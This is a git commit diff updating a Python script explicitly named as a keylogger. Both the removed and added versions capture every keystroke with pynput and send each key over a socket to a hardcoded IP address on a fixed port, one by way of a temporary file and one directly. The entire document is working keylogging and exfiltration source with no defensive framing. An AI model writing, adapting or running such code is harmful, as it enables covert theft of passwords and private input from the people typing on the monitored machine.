Update 'Server/KEY LOGGER - Mirror - KEYBOARD- press.py'
release
This commit is contained in:
parent
e48ce32587
commit
88dbb213a9
@ -1,80 +1,54 @@
|
||||
import socket
|
||||
import os
|
||||
from tkinter import *
|
||||
from pynput import keyboard
|
||||
|
||||
#window = Tk()
|
||||
#label = Label(window, text= 'What is the IP')
|
||||
#entry = Entry(browser_window, width=200)
|
||||
#entry.insert(END, IP)
|
||||
#label.pack()
|
||||
#entry.pack()
|
||||
|
||||
|
||||
|
||||
SEPARATOR = "<SEPARATOR>"
|
||||
BUFFER_SIZE = 128 # send 4096 bytes each time step
|
||||
|
||||
host = "10.4.27.243"
|
||||
# the ip address or hostname of the server, the receiver
|
||||
# the port, let's use 5001
|
||||
port = 10001
|
||||
# the name of file we want to send, make sure it exists
|
||||
filename = "dataKP.txt"
|
||||
# get the file size
|
||||
filesize = os.path.getsize("dataKP.txt")
|
||||
|
||||
#IPfile = open("IPfile.txt", "w")
|
||||
#text_file.write("¬")
|
||||
#text_file.close()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# create the client socket
|
||||
s = socket.socket()
|
||||
print(f"[+] Connecting to {host}:{port}")
|
||||
s.connect((host, port))
|
||||
print("[+] Connected.")
|
||||
# send the filename and filesize
|
||||
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
||||
|
||||
def sendfile():
|
||||
# start sending the file
|
||||
with open(filename, "rb") as f:
|
||||
while True:
|
||||
# read the bytes from the file
|
||||
bytes_read = f.read(BUFFER_SIZE)
|
||||
if not bytes_read:
|
||||
# file transmitting is done
|
||||
break
|
||||
# we use sendall to assure transimission in
|
||||
# busy networks
|
||||
s.sendall(bytes_read)
|
||||
# close the socket
|
||||
#s.close()
|
||||
|
||||
#-----------------------------------------------------------
|
||||
|
||||
|
||||
def on_press(key):
|
||||
text_file = open("dataKP.txt", "w")
|
||||
text_file.write(('{}'.format(key)).replace("'", ""))
|
||||
text_file.close()
|
||||
sendfile()
|
||||
|
||||
|
||||
|
||||
|
||||
with keyboard.Listener(
|
||||
|
||||
on_press = on_press) as listener:
|
||||
|
||||
listener.join()
|
||||
|
||||
|
||||
#-----------------------------------------
|
||||
|
||||
import socket
|
||||
import os
|
||||
from tkinter import *
|
||||
from pynput import keyboard
|
||||
|
||||
#ipFile = open("IP.txt")
|
||||
#IP = ipFile.read()
|
||||
#ipFile.close()
|
||||
|
||||
|
||||
#window = Tk()
|
||||
#label = Label(window, text= 'What is the IP')
|
||||
#entry = Entry(window, width=200)
|
||||
#entry.insert(END, IP)
|
||||
#label.pack()
|
||||
#entry.pack()
|
||||
|
||||
|
||||
|
||||
SEPARATOR = "<SEPARATOR>"
|
||||
BUFFER_SIZE = 128 # send 4096 bytes each time step
|
||||
|
||||
host = "10.4.27.243"
|
||||
# the ip address or hostname of the server, the receiver
|
||||
# the port, let's use 5001
|
||||
port = 10003
|
||||
|
||||
# create the client socket
|
||||
s = socket.socket()
|
||||
print(f"[+] Connecting to {host}:{port}")
|
||||
s.connect((host, port))
|
||||
print("[+] Connected.")
|
||||
|
||||
|
||||
#-----------------------------------------------------------
|
||||
|
||||
|
||||
def on_release(key):
|
||||
dataToSend = (('{}'.format(key)).replace("'", ""))
|
||||
dataToSendBytes = dataToSend.encode()
|
||||
s.sendall(dataToSendBytes)
|
||||
|
||||
def on_press(key):
|
||||
print("\n")
|
||||
|
||||
|
||||
|
||||
|
||||
with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
|
||||
listener.join()
|
||||
|
||||
|
||||
#-----------------------------------------
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user